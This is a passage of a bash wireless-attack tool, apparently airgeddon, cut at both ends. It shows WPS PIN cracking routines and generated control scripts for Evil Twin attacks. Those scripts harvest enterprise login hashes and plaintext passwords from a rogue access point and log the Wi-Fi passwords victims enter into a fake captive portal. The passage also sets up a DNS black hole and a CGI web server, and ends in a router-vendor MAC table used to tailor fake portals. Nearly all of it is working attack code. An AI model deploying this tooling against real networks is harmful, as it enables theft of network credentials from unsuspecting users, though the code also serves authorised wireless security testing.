"\${possible_bully_timeout}" -eq 1 ]; then if [ "\${possible_bully_timeout}" -eq 1 ]; then this_pin_timeout=1 fi fi fi fi ;; "pixiedust") echo echo -e "\${pin_header1}" if [ "\${script_wps_attack_tool}" = "bully" ]; then echo clear_bully_session_files else clear_reaver_session_files fi (set -o pipefail && eval "\${script_attack_cmd1}\${script_attack_cmd2} \${colorize}") if [ "\$?" = "124" ]; then this_pin_timeout=1 fi parse_output ;; "bruteforce") echo echo -e "\${pin_header1}" if [ "\${script_wps_attack_tool}" = "bully" ]; then echo clear_bully_session_files else clear_reaver_session_files fi eval "\${script_attack_cmd1}\${script_attack_cmd2} \${colorize}" parse_output ;; "nullpin") echo echo -e "\${pin_header1}" (set -o pipefail && eval "\${script_attack_cmd1}\${script_attack_cmd2} \${colorize}") if [ "\$?" = "124" ]; then this_pin_timeout=1 fi parse_output ;; esac if [ "\${pin_cracked}" -eq 1 ]; then echo pin_cracked_msg="${white_color}PIN cracked: ${yellow_color}" password_cracked_msg="${white_color}Password cracked: ${yellow_color}" password_not_cracked_msg="${white_color}Password was not cracked: ${yellow_color}Maybe because bad/low signal, or PBC activated on AP" echo -e "\${pin_cracked_msg}\${cracked_pin}" if [ -n "\${cracked_password}" ]; then echo -e "\${password_cracked_msg}\${cracked_password}" manage_wps_pot "\${cracked_password}" "\${cracked_pin}" else echo -e "\${password_not_cracked_msg}" fi fi if [ "\${this_pin_timeout}" -eq 1 ]; then print_timeout fi echo echo -e "${white_color}Close this window" read -r -d '' _ &- sleep 1 } #Create here-doc bash script used for control windows on Enterprise attacks function set_enterprise_control_script() { debug_print exec 7>"${tmpdir}${control_enterprise_file}" local control_msg if [ "${enterprise_mode}" = "smooth" ]; then control_msg=${enterprise_texts[${language},3]} else control_msg=${enterprise_texts[${language},4]} fi cat >&7 <<-EOF #!/usr/bin/env bash interface="${interface}" et_initial_state="${et_initial_state}" interface_airmon_compatible=${interface_airmon_compatible} iface_monitor_et_deauth="${iface_monitor_et_deauth}" airmon="${airmon}" enterprise_returning_vars_file="${tmpdir}${enterprisedir}returning_vars.txt" enterprise_heredoc_mode="${enterprise_mode}" path_to_processes="${tmpdir}${et_processesfile}" path_to_channelfile="${tmpdir}${channelfile}" wpe_logfile="${tmpdir}${hostapd_wpe_log}" success_file="${tmpdir}${enterprisedir}${enterprise_successfile}" done_msg="${yellow_color}${enterprise_texts[${language},9]}${normal_color}" log_reminder_msg="${pink_color}${enterprise_texts[${language},10]}: [${normal_color}${enterprise_completepath}${pink_color}]${normal_color}" #Restore interface to its original state function restore_interface() { if hash rfkill 2> /dev/null; then rfkill unblock all > /dev/null 2>&1 fi iw dev "\${iface_monitor_et_deauth}" del > /dev/null 2>&1 if [ "\${et_initial_state}" = "Managed" ]; then ip link set "\${interface}" down > /dev/null 2>&1 iw "\${interface}" set type managed > /dev/null 2>&1 ip link set "\${interface}" up > /dev/null 2>&1 ifacemode="Managed" else if [ "\${interface_airmon_compatible}" -eq 1 ]; then new_interface=\$(\${airmon} start "\${interface}" 2> /dev/null | grep monitor) [[ \${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="\${BASH_REMATCH[1]}" if [ "\${interface}" != "\${new_interface}" ]; then interface=\${new_interface} phy_interface=\$(basename "\$(readlink "/sys/class/net/\${interface}/phy80211")" 2> /dev/null) current_iface_on_messages="\${interface}" fi else ip link set "\${interface}" down > /dev/null 2>&1 iw "\${interface}" set monitor control > /dev/null 2>&1 ip link set "\${interface}" up > /dev/null 2>&1 fi ifacemode="Monitor" fi } #Save some vars to a file to get read from main script function save_returning_vars_to_file() { { echo -e "interface=\${interface}" echo -e "phy_interface=\${phy_interface}" echo -e "current_iface_on_messages=\${current_iface_on_messages}" echo -e "ifacemode=\${ifacemode}" } > "\${enterprise_returning_vars_file}" } EOF if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then cat >&7 <<-EOF #Function to kill tmux windows using window name function kill_tmux_windows() { local TMUX_WINDOWS_LIST=() local current_window_name readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") for item in "\${TMUX_WINDOWS_LIST[@]}"; do [[ "\${item}" =~ ^[0-9]+:[[:blank:]](.+([^*-]))([[:blank:]]|\-|\*)[[:blank:]]?\([0-9].+ ]] && current_window_name="\${BASH_REMATCH[1]}" if [ "\${current_window_name}" = "${tmux_main_window}" ]; then continue fi if [ -n "\${1}" ]; then if [ "\${current_window_name}" = "\${1}" ]; then continue fi fi tmux kill-window -t "${session_name}:\${current_window_name}" done } EOF fi cat >&7 <<-EOF #Kill Evil Twin Enterprise processes function kill_enterprise_windows() { readarray -t ENTERPRISE_PROCESSES_TO_KILL < <(cat < "\${path_to_processes}" 2> /dev/null) for item in "\${ENTERPRISE_PROCESSES_TO_KILL[@]}"; do kill "\${item}" &> /dev/null done } #Check if a hash or a password was captured (0=hash, 1=plaintextpass, 2=both) function check_captured() { local hash_captured=0 local plaintext_password_captured=0 readarray -t ENTERPRISE_LINES_TO_PARSE < <(cat < "\${wpe_logfile}" 2> /dev/null) for item in "\${ENTERPRISE_LINES_TO_PARSE[@]}"; do if [[ "\${item}" =~ challenge: ]]; then hash_captured=1 elif [[ "\${item}" =~ password: ]]; then plaintext_password_captured=1 fi done if [[ "\${hash_captured}" -eq 1 ]] || [[ "\${plaintext_password_captured}" -eq 1 ]]; then touch "\${success_file}" > /dev/null 2>&1 fi if [[ "\${hash_captured}" -eq 1 ]] && [[ "\${plaintext_password_captured}" -eq 0 ]]; then echo 0 > "\${success_file}" 2> /dev/null return 0 elif [[ "\${hash_captured}" -eq 0 ]] && [[ "\${plaintext_password_captured}" -eq 1 ]]; then echo 1 > "\${success_file}" 2> /dev/null return 0 elif [[ "\${hash_captured}" -eq 1 ]] && [[ "\${plaintext_password_captured}" -eq 1 ]]; then echo 2 > "\${success_file}" 2> /dev/null return 0 fi return 1 } #Set captured hashes and passwords counters #shellcheck disable=SC2155 function set_captured_counters() { declare -A lines_and_usernames readarray -t CAPTURED_USERNAMES < <(grep -n -E "username:" "\${wpe_logfile}" | sort -k 2,2 | uniq --skip-fields=1 2> /dev/null) for item in "\${CAPTURED_USERNAMES[@]}"; do [[ \${item} =~ ([0-9]+):.*username:[[:blank:]]+(.*) ]] && line_number="\${BASH_REMATCH[1]}" && username="\${BASH_REMATCH[2]}" lines_and_usernames["\${username}"]="\${line_number}" done hashes_counter=0 plaintext_pass_counter=0 for item2 in "\${lines_and_usernames[@]}"; do local line_to_check=\$((item2 + 1)) local text_to_check=\$(sed "\${line_to_check}q;d" "\${wpe_logfile}" 2> /dev/null) if [[ "\${text_to_check}" =~ challenge: ]]; then hashes_counter=\$((hashes_counter + 1)) elif [[ "\${text_to_check}" =~ password: ]]; then plaintext_pass_counter=\$((plaintext_pass_counter + 1)) fi done } #Get last captured username function get_last_username() { line_with_last_user=\$(grep -E "username:" "\${wpe_logfile}" | tail -1) [[ \${line_with_last_user} =~ username:[[:blank:]]+(.*) ]] && last_username="\${BASH_REMATCH[1]}" } date_counter=\$(date +%s) last_username="" break_on_next_loop=0 while true; do et_control_window_channel=\$(cat "\${path_to_channelfile}" 2> /dev/null) if [ "\${break_on_next_loop}" -eq 1 ]; then tput ed fi echo -e "\t${yellow_color}${enterprise_texts[${language},0]} ${white_color}// ${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${enterprise_texts[${language},1]}: ${normal_color}\${et_control_window_channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}" echo echo -e "\t${green_color}${enterprise_texts[${language},2]}${normal_color}" hours=\$(date -u --date @\$((\$(date +%s) - date_counter)) +%H) mins=\$(date -u --date @\$((\$(date +%s) - date_counter)) +%M) secs=\$(date -u --date @\$((\$(date +%s) - date_counter)) +%S) echo -e "\t\${hours}:\${mins}:\${secs}" if [ "\${break_on_next_loop}" -eq 0 ]; then #shellcheck disable=SC2140 echo -e "\t${pink_color}${control_msg}${normal_color}\n" fi echo if [ -z "\${last_username}" ]; then echo -e "\t${blue_color}${enterprise_texts[${language},6]}${normal_color}" echo -e "\t${blue_color}${enterprise_texts[${language},7]}${normal_color}: 0" echo -e "\t${blue_color}${enterprise_texts[${language},8]}${normal_color}: 0" else last_name_to_print="${blue_color}${enterprise_texts[${language},5]}:${normal_color}" hashes_counter_message="${blue_color}${enterprise_texts[${language},7]}:${normal_color}" plaintext_pass_counter_message="${blue_color}${enterprise_texts[${language},8]}:${normal_color}" tput el && echo -e "\t\${last_name_to_print} \${last_username}" echo -e "\t\${hashes_counter_message} \${hashes_counter}" echo -e "\t\${plaintext_pass_counter_message} \${plaintext_pass_counter}" fi if [ "\${break_on_next_loop}" -eq 1 ]; then kill_enterprise_windows EOF if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then cat >&7 <<-EOF kill_tmux_windows "Control" EOF fi cat >&7 <<-EOF break fi if check_captured; then get_last_username set_captured_counters if [ "\${enterprise_heredoc_mode}" = "smooth" ]; then break_on_next_loop=1 fi fi echo -ne "\033[K\033[u" sleep 0.3 current_window_size="\$(tput cols)x\$(tput lines)" if [ "\${current_window_size}" != "\${stored_window_size}" ]; then stored_window_size="\${current_window_size}" clear fi done if [ "\${enterprise_heredoc_mode}" = "smooth" ]; then echo echo -e "\t\${log_reminder_msg}" echo echo -e "\t\${done_msg}" if [ "\${enterprise_heredoc_mode}" = "smooth" ]; then restore_interface save_returning_vars_to_file fi exit 0 fi EOF exec 7>&- sleep 1 } #Create here-doc bash script used for control windows on Evil Twin attacks function set_et_control_script() { debug_print rm -rf "${tmpdir}${control_et_file}" > /dev/null 2>&1 exec 7>"${tmpdir}${control_et_file}" cat >&7 <<-EOF #!/usr/bin/env bash et_heredoc_mode="${et_mode}" path_to_processes="${tmpdir}${et_processesfile}" path_to_channelfile="${tmpdir}${channelfile}" right_arping="${right_arping}" able_to_play_sounds="${able_to_play_sounds}" #Kill a given PID and all its subprocesses recursively function kill_pid_and_children_recursive() { local parent_pid="" local child_pids="" parent_pid="\${1}" child_pids=\$(pgrep -P "\${parent_pid}" 2> /dev/null) for child_pid in \${child_pids}; do kill_pid_and_children_recursive "\${child_pid}" done if [ -n "\${child_pids}" ]; then pkill -P "\${parent_pid}" &> /dev/null fi kill "\${parent_pid}" &> /dev/null wait "\${parent_pid}" 2> /dev/null } #Kill all the related processes function kill_et_processes_control_script() { readarray -t ET_PROCESSES_TO_KILL < <(cat < "\${path_to_processes}" 2> /dev/null) for item in "\${ET_PROCESSES_TO_KILL[@]}"; do kill_pid_and_children_recursive "\${item}" done } if [ "\${et_heredoc_mode}" = "et_captive_portal" ]; then attempts_path="${tmpdir}${webdir}${attemptsfile}" attempts_text="${blue_color}${et_misc_texts[${language},20]}:${normal_color}" last_password_msg="${blue_color}${et_misc_texts[${language},21]}${normal_color}" EOF if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then cat >&7 <<-EOF #Function to kill tmux windows using window name function kill_tmux_windows() { local TMUX_WINDOWS_LIST=() local current_window_name readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") for item in "\${TMUX_WINDOWS_LIST[@]}"; do [[ "\${item}" =~ ^[0-9]+:[[:blank:]](.+([^*-]))([[:blank:]]|\-|\*)[[:blank:]]?\([0-9].+ ]] && current_window_name="\${BASH_REMATCH[1]}" if [ "\${current_window_name}" = "${tmux_main_window}" ]; then continue fi if [ -n "\${1}" ]; then if [ "\${current_window_name}" = "\${1}" ]; then continue fi fi tmux kill-window -t "${session_name}:\${current_window_name}" done } EOF fi cat >&7 <<-EOF #Handle the finish of the Evil Twin attack #shellcheck disable=SC1102 function finish_evil_twin() { echo "" > "${et_captive_portal_logpath}" date +%Y-%m-%d >> "${et_captive_portal_logpath}" { echo "${et_misc_texts[${language},19]}" echo "" echo "BSSID: ${bssid}" echo "${et_misc_texts[${language},1]}: ${channel}" echo "ESSID: ${essid}" echo "" echo "---------------" echo "" } >> "${et_captive_portal_logpath}" success_pass_path="${tmpdir}${webdir}${currentpassfile}" msg_good_pass="${et_misc_texts[${language},11]}:" log_path="${et_captive_portal_logpath}" log_reminder_msg="${pink_color}${et_misc_texts[${language},24]}: [${normal_color}${et_captive_portal_logpath}${pink_color}]${normal_color}" done_msg="${yellow_color}${et_misc_texts[${language},25]}${normal_color}" echo -e "\t${blue_color}${et_misc_texts[${language},23]}:${normal_color}" echo echo "\${msg_good_pass} \$((cat < \${success_pass_path}) 2> /dev/null)" >> "\${log_path}" attempts_number=\$((cat < "\${attempts_path}" | wc -l) 2> /dev/null) et_password=\$((cat < \${success_pass_path}) 2> /dev/null) echo -e "\t\${et_password}" echo echo -e "\t\${log_reminder_msg}" echo echo -e "\t\${done_msg}" if [ "\${attempts_number}" -gt 0 ]; then { echo "" echo "---------------" echo "" echo "${et_misc_texts[${language},22]}:" echo "" } >> "${et_captive_portal_logpath}" readarray -t BADPASSWORDS < <(cat < "${tmpdir}${webdir}${attemptsfile}" 2> /dev/null) for badpass in "\${BADPASSWORDS[@]}"; do echo "\${badpass}" >> "${et_captive_portal_logpath}" done fi { echo "" echo "---------------" echo "" echo "${footer_texts[${language},0]}" } >> "${et_captive_portal_logpath}" sleep 2 kill_et_processes_control_script EOF if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then cat >&7 <<-EOF kill_tmux_windows "Control" EOF fi cat >&7 <<-EOF exit 0 } fi date_counter=\$(date +%s) last_attempts_number=0 sounded_ips=() while true; do et_control_window_channel=\$(cat "\${path_to_channelfile}" 2> /dev/null) EOF case ${et_mode} in "et_onlyap") local control_msg=${et_misc_texts[${language},4]} ;; "et_sniffing"|"et_sniffing_sslstrip2") local control_msg=${et_misc_texts[${language},5]} ;; "et_sniffing_sslstrip2_beef") local control_msg=${et_misc_texts[${language},27]} ;; "et_captive_portal") local control_msg=${et_misc_texts[${language},6]} ;; esac cat >&7 <<-EOF echo -e "\t${yellow_color}${et_misc_texts[${language},0]} ${white_color}// ${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${et_misc_texts[${language},1]}: ${normal_color}\${et_control_window_channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}" echo echo -e "\t${green_color}${et_misc_texts[${language},2]}${normal_color}" hours=\$(date -u --date @\$((\$(date +%s) - date_counter)) +%H) mins=\$(date -u --date @\$((\$(date +%s) - date_counter)) +%M) secs=\$(date -u --date @\$((\$(date +%s) - date_counter)) +%S) echo -e "\t\${hours}:\${mins}:\${secs}" echo -e "\t${pink_color}${control_msg}${normal_color}\n" if [ "\${et_heredoc_mode}" = "et_captive_portal" ]; then if [ -f "${tmpdir}${webdir}${et_successfile}" ]; then clear echo -e "\t${yellow_color}${et_misc_texts[${language},0]} ${white_color}// ${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${et_misc_texts[${language},1]}: ${normal_color}${channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}" echo echo -e "\t${green_color}${et_misc_texts[${language},2]}${normal_color}" echo -e "\t\${hours}:\${mins}:\${secs}" echo if [ "\${able_to_play_sounds}" -eq 1 ]; then (play -q -n synth 0.3 sine 460 pad 0 0.2 repeat 2 2> /dev/null) & fi finish_evil_twin else attempts_number=\$((cat < "\${attempts_path}" | wc -l) 2> /dev/null) last_password=\$(grep "." "\${attempts_path}" 2> /dev/null | tail -1) tput el && echo -ne "\t\${attempts_text} \${attempts_number}" if [ "\${attempts_number}" -gt 0 ]; then if [ "\${attempts_number}" -ne "\${last_attempts_number}" ]; then if [ "\${able_to_play_sounds}" -eq 1 ]; then (play -q -n synth 0.3 sine 420 pad 0 0.2 repeat 1 2> /dev/null) & fi fi last_attempts_number="\${attempts_number}" open_parenthesis="${yellow_color}(${normal_color}" close_parenthesis="${yellow_color})${normal_color}" echo -ne " \${open_parenthesis} \${last_password_msg} \${last_password} \${close_parenthesis}" fi fi echo echo fi echo -e "\t${green_color}${et_misc_texts[${language},3]}${normal_color}" readarray -t DHCPCLIENTS < <(grep DHCPACK < "${tmpdir}clts.txt") client_ips=() #shellcheck disable=SC2199 if [[ -z "\${DHCPCLIENTS[@]}" ]]; then echo -e "\t${et_misc_texts[${language},7]}" else for client in "\${DHCPCLIENTS[@]}"; do [[ \${client} =~ ^DHCPACK[[:space:]]on[[:space:]]([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})[[:space:]]to[[:space:]](([a-fA-F0-9]{2}:?){5,6}).* ]] && client_ip="\${BASH_REMATCH[1]}" && client_mac="\${BASH_REMATCH[2]}" if [[ " \${client_ips[*]} " != *" \${client_ip} "* ]]; then client_hostname="" [[ \${client} =~ .*(\(.+\)).* ]] && client_hostname="\${BASH_REMATCH[1]}" if [[ -z "\${client_hostname}" ]]; then echo -ne "\t\${client_ip} \${client_mac}" else echo -ne "\t\${client_ip} \${client_mac} \${client_hostname}" fi if [[ ! " \${sounded_ips[*]} " =~ \${client_ip} ]]; then if [ "\${able_to_play_sounds}" -eq 1 ]; then (play -q -n synth 0.5 sine 300 2> /dev/null) & fi sounded_ips+=("\${client_ip}") fi if [ "\${right_arping}" -eq 1 ]; then if "${right_arping_command}" -C 3 -I "${interface}" -w 5 -p -q "\${client_ip}"; then echo -ne " ${blue_color}${et_misc_texts[${language},29]}${green_color} ✓${normal_color}" else echo -ne " ${blue_color}${et_misc_texts[${language},29]}${red_color} ✘${normal_color}" fi fi if [ "\${et_heredoc_mode}" = "et_captive_portal" ]; then if grep -qE "^\${client_ip} 200 GET /${pixelfile}" "${tmpdir}${webserver_log}" > /dev/null 2>&1; then echo -ne " ${blue_color}${et_misc_texts[${language},28]}${green_color} ✓${normal_color}" else echo -ne " ${blue_color}${et_misc_texts[${language},28]}${red_color} ✘${normal_color}" fi fi echo -ne "\n" fi client_ips+=("\${client_ip}") done fi echo -ne "\033[K\033[u" sleep 1 current_window_size="\$(tput cols)x\$(tput lines)" if [ "\${current_window_size}" != "\${stored_window_size}" ]; then stored_window_size="\${current_window_size}" clear fi done EOF exec 7>&- sleep 1 } #Launch dnsmasq dns black hole for captive portal Evil Twin attack function launch_dns_blackhole() { debug_print recalculate_windows_sizes rm -rf "${tmpdir}${dnsmasq_file}" > /dev/null 2>&1 { echo -e "interface=${interface}" echo -e "address=/#/${et_ip_router}" echo -e "port=${dns_port}" echo -e "bind-dynamic" echo -e "except-interface=${loopback_interface}" echo -e "address=/google.com/172.217.5.238" echo -e "address=/gstatic.com/172.217.5.238" echo -e "no-dhcp-interface=${interface}" echo -e "log-queries" echo -e "no-daemon" echo -e "no-resolv" echo -e "no-hosts" } >> "${tmpdir}${dnsmasq_file}" manage_output "+j -bg \"#000000\" -fg \"#0000FF\" -geometry ${g4_middleright_window} -T \"DNS\"" "${optional_tools_names[11]} -C \"${tmpdir}${dnsmasq_file}\"" "DNS" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) else get_tmux_process_id "${optional_tools_names[11]} -C \"${tmpdir}${dnsmasq_file}\"" et_processes+=("${global_process_pid}") global_process_pid="" fi } #Launch control window for Enterprise attacks function launch_enterprise_control_window() { debug_print recalculate_windows_sizes manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Control\"" "bash \"${tmpdir}${control_enterprise_file}\"" "Control" "active" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then enterprise_process_control_window=$! else get_tmux_process_id "bash \"${tmpdir}${control_enterprise_file}\"" enterprise_process_control_window="${global_process_pid}" global_process_pid="" fi } #Launch control window for Evil Twin attacks function launch_et_control_window() { debug_print recalculate_windows_sizes case ${et_mode} in "et_onlyap") control_scr_window_position=${g1_topright_window} ;; "et_sniffing") control_scr_window_position=${g3_topright_window} ;; "et_captive_portal") control_scr_window_position=${g4_topright_window} ;; "et_sniffing_sslstrip2") control_scr_window_position=${g3_topright_window} ;; "et_sniffing_sslstrip2_beef") control_scr_window_position=${g4_topright_window} ;; esac manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${control_scr_window_position} -T \"Control\"" "bash \"${tmpdir}${control_et_file}\"" "Control" "active" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_process_control_window=$! else get_tmux_process_id "bash \"${tmpdir}${control_et_file}\"" et_process_control_window="${global_process_pid}" global_process_pid="" fi } #Create configuration file for lighttpd function set_webserver_config() { debug_print rm -rf "${tmpdir}${webserver_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${webserver_log}" > /dev/null 2>&1 { echo -e "server.document-root = \"${tmpdir}${webdir}\"\n" echo -e "server.modules = (" echo -e "\"mod_auth\"," echo -e "\"mod_cgi\"," echo -e "\"mod_redirect\"," echo -e "\"mod_accesslog\"" echo -e ")\n" echo -e "\$HTTP[\"host\"] =~ \"(.*)\" {" echo -e "url.redirect = ( \"^/index.htm$\" => \"/\")" echo -e "url.redirect-code = 302" echo -e "}" echo -e "server.bind = \"${et_ip_router}\"" echo -e "server.port = ${www_port}\n" echo -e "index-file.names = (\"${indexfile}\")" echo -e "server.error-handler-404 = \"/\"\n" echo -e "mimetype.assign = (" echo -e "\".css\" => \"text/css\"," echo -e "\".htm\" => \"text/html\"," echo -e "\".html\" => \"text/html\"," echo -e "\".js\" => \"text/javascript\"" echo -e ")\n" echo -e "cgi.assign = (" echo -e "\".htm\" => \"/bin/bash\"" } >> "${tmpdir}${webserver_file}" if [ "${customportals_php_as_cgi}" -eq 1 ]; then echo -e ",\".php\" => \"/bin/bash\"" >> "${tmpdir}${webserver_file}" fi { echo -e ")\n" echo -e "accesslog.filename = \"${tmpdir}${webserver_log}\"" echo -e "accesslog.escaping = \"default\"" echo -e "accesslog.format = \"%h %s %r %v%U %t '%{User-Agent}i'\"" echo -e "\$HTTP[\"remote-ip\"] == \"${loopback_ip}\" { accesslog.filename = \"\" }" } >> "${tmpdir}${webserver_file}" sleep 2 } #Prepare captive portal data based on vendor if apply function prepare_captive_portal_data() { debug_print if [ "${advanced_captive_portal}" -eq 1 ]; then declare -gA cp_router_vendors=( ["Alfa_Networks"]="00C0CA" ["Arris"]="0000C5 0000CA 0003E0 0004BD 00080E 000B06 000CE5 000E5C 000F9F 000FCC 00111A 001180 0011AE 001225 00128A 0012C9 001311 001371 001404 00149A 0014E8 00152F 001596 00159A 0015A2 0015A3 0015A4 0015A8 0015CE 0015CF 0015D0 0015D1 001626 001675 0016B5 001700 001784 0017E2 0017EE 0018A4 0018C0 00192C 00195E 0019A6 0019C0 001A1B 001A66 001A77 001AAD 001ADB 001ADE 001B52 001BDD 001C11 001C12 001CC1 001CC3 001CFB 001D6B 001DBE 001DCD 001DCE 001DCF 001DD0 001DD1 001DD2 001DD3 001DD4 001DD5 001DD6 001E46 001E5A 001E8D 001F7E 001FC4 002040 00211E 002136 002143 002180 002210 0022B4 00230B 002374 002375 002395 0023A2 0023A3 0023AF 0023ED 0023EE 002493 002495 0024A0 0024A1 0024C1 0025F1 0025F2 002636 002641 002642 0026BA 0026D9 003676 005094 0050E3 00909C 00ACE0 00D037 00D088 00E06F 044E5A 083E0C 0CB771 0CEAC9 0CF893 1005B1 105611 10868C 109397 145BD1 14ABF0 14C03E 14CFE2 14D4FE 1820D5 1835D1 189C27 18B81F 1C1448 1C1B68 203D66 207355 20E564 20F19E 20F375 240A63 287AEE 28C87A 2C1DB8 2C584F 2C7E81 2C9569 2C9924 2C9E5F 2CA17D 306023 341FE4 347A60 384C90 386BBB 38700C 3C0461 3C36E4 3C438E 3C754A 3C7A8A 3CDFA9 400D10 402B50 404C77 407009 40B7F3 40FC89 4434A7 446AB7 44AAF5 44E137 484EFC 48D343 4C1265 4C38D8 5075F1 509551 5465DE 54E2E0 5819F8 5856E8 5C571A 5C8FE0 5CB066 5CE30E 601971 608CE6 6092F5 60D248 6402CB 641269 6455B1 64ED57 6C639C 6CA604 6CC1D2 6CCA08 704FB8 705425 707630 707E43 7085C6 70B14E 745612 748A0D 74E7C6 74EAE8 74F612 7823AE 78719C 789684 7C2634 7CBFB1 8096B1 80E540 80F503 8461A0 8496D8 84BB69 84E058 8871B1 88964E 88EF16 8C09F4 8C5A25 8C5BF0 8C61A3 8C7F3B 900DCB 901ACA 903EAB 909D7D 90B134 90C792 946269 94877C 948FCF 94CCB9 94E8C5 984B4A 986B3D 98F781 98F7D7 9C3426 9CC8FC A055DE A0687E A0C562 A41588 A47AA4 A49813 A4ED4E A811FC A8705D A897CD A89FEC A8F5DD ACB313 ACDB48 ACEC80 ACF8CC B077AC B083D6 B0935B B0DAF9 B4F2E8 B81619 BC2E48 BC644B BCCAB5 C005C2 C089AB C0A00D C0C522 C83FB4 C85261 C863FC C8AA21 CC65AD CC75E2 CC7D37 CCA462 D039B3 D0E54D D404CD D40598 D40AA9 D42C0F D43FCB D4AB82 D4B27A D82522 DC4517 E02202 E0B70A E0B7B1 E45740 E46449 E48399 E49F1E E83381 E83EFC E86D52 E8825B E8892C E8ED05 EC7097 ECA940 F0AF85 F0FCC8 F40E83 F80BBE F82DC0 F87B7A F88B37 F8A097 F8EDA5 F8F532 FC51A4 FC6FB7 FC8E7E FCAE34 DC4517 E46449 E8ED05 FCAE34" ["Arista"]="001C73 28993A 30862D 444CA8 7483EF 985D82 AC3D94 C0D682 FC59C0 FCBD67" ["Aruba"]="000B86 001A1E 00246C 04BD88 104F58 186472 204C03 2462CE 24DEC6 3821C7 40E3D6 64E881 6CF37F 703A0E 7C573C 84D47E 883A30 9020C2 94B40F 9C1C12 ACA31E B45D50 B83A5A B8D4E7 BC9FE4 CCD083 D015A6 D0D3E0 D8C7C8 E82689 F05C19 F42E7F F860F0" ["Asus"]="000C6E 000EA6 00112F 0011D8 0013D4 0015F2 001731 0018F3 001A92 001BFC 001D60 001E8C 001FC6 002215 002354 00248C 002618 00E018 049226 04D4C4 04D9F5 08606E 086266 08BFB8 0C9D92 107B44 10BF48 10C37B 14DAE9 14DDA9 1831BF 1C872C 1CB72C 20CF30 244BFE 2C4D54 2C56DC 2CFDA1 305A3A 3085A9 3497F6 382C4A 38D547 40167E 40B076 485B39 4CEDFB 50465D 5404A6 54A050 6045CB 60A44C 704D7B 708BCD 74D02B 7824AF 88D7F6 90E6BA 9C5C8E A85E45 AC220B AC9E17 B06EBF BCAEC5 BCEE7B C86000 D017C2 D45D64 D850E6 E03F49 E0CB4E F07959 F46D04 F832E4 FCC233" ["AVMFritzBox"]="2C3AFD 2C91AB 3810D5 3C3712 444E6D 5C4979 7CFF4D 989BCB C80E14 CCCE1E DC396F E0286D E8DF70 F0B014" ["Belkin"]="001150 00173F 001CDF 002275 08863B 149182 24F5A2 302303 58EF68 6038E0 94103E 944452 B4750E C05627 C4411E EC1A59" ["CBN"]="342CC4 38437D 546751 5C353B 6802B8 905C44 AC2205 DC537C" ["Cisco"]="00000C 000142 000143 000163 000164 000196 000197 0001C7 0001C9 000216 000217 00023D 00024A 00024B 00027D 00027E 0002B9 0002BA 0002FC 0002FD 000331 000332 00036B 00036C 00039F 0003A0 0003E3 0003E4 0003FD 0003FE 000427 000428 00044D 00044E 00046D 00046E 00049A 00049B 0004C0 0004C1 0004DD 0004DE 000500 000501 000531 000532 00055E 00055F 000573 000574 00059A 00059B 0005DC 0005DD 000628 00062A 000652 000653 00067C 0006C1 0006D6 0006D7 0006F6 00070D 00070E 00074F 000750 00077D 000784 000785 0007B3 0007B4 0007EB 0007EC 000820 000821 00082F 000830 000831 000832 00087C 00087D 0008A3 0008A4 0008C2 0008E2 0008E3 000911 000912 000943 000944 00097B 00097C 0009B6 0009B7 0009E8 0009E9 000A41 000A42 000A8A 000A8B 000AB7 000AB8 000AF3 000AF4 000B45 000B46 000B5F 000B60 000B85 000BBE 000BBF 000BFC 000BFD 000C30 000C31 000C85 000C86 000CCE 000CCF 000D28 000D29 000D65 000D66 000DBC 000DBD 000DEC 000DED 000E38 000E39 000E83 000E84 000ED6 000ED7 000F23 000F24 000F34 000F35 000F8F 000F90 000FF7 000FF8 001007 00100B 00100D 001011 001014 00101F 001029 00102F 001054 001079 00107B 0010A6 0010F6 0010FF 001120 001121 00115C 00115D 001192 001193 0011BB 0011BC 001200 001201 001243 001244 00127F 001280 0012D9 0012DA 001319 00131A 00135F 001360 00137F 001380 0013C3 0013C4 00141B 00141C 001469 00146A 0014A8 0014A9 0014F1 0014F2 00152B 00152C 001562 001563 0015C6 0015C7 0015F9 0015FA 001646 001647 00169C 00169D 0016C7 0016C8 00170E 00170F 00173B 001759 00175A 001794 001795 0017DF 0017E0 001818 001819 001873 001874 0018B9 0018BA 001906 001907 00192F 001930 001955 001956 0019A9 0019AA 0019E7 0019E8 001A2F 001A30 001A6C 001A6D 001AA1 001AA2 001AE2 001AE3 001B0C 001B0D 001B2A 001B2B 001B53 001B54 001B8F 001B90 001BD4 001BD5 001C0E 001C0F 001C57 001C58 001CB0 001CB1 001CF6 001CF9 001D45 001D46 001D70 001D71 001DA1 001DA2 001DE5 001DE6 001E13 001E14 001E49 001E4A 001E79 001E7A 001EBD 001EBE 001EF6 001EF7 001F26 001F27 001F6C 001F6D 001F9D 001F9E 001FC9 001FCA 00211B 00211C 002155 002156 0021A0 0021A1 0021D7 0021D8 00220C 00220D 002255 002256 002290 002291 0022BD 0022BE 002304 002305 002333 002334 00235D 00235E 0023AB 0023AC 0023EA 0023EB 002413 002414 002450 002451 002497 002498 0024C3 0024C4 0024F7 0024F9 002545 002546 002583 002584 0025B4 0025B5 00260A 00260B 002651 002652 002698 002699 0026CA 0026CB 00270C 00270D 002790 0027E3 0029C2 002A10 002A6A 002CC8 002F5C 003019 003024 003040 003071 003078 00307B 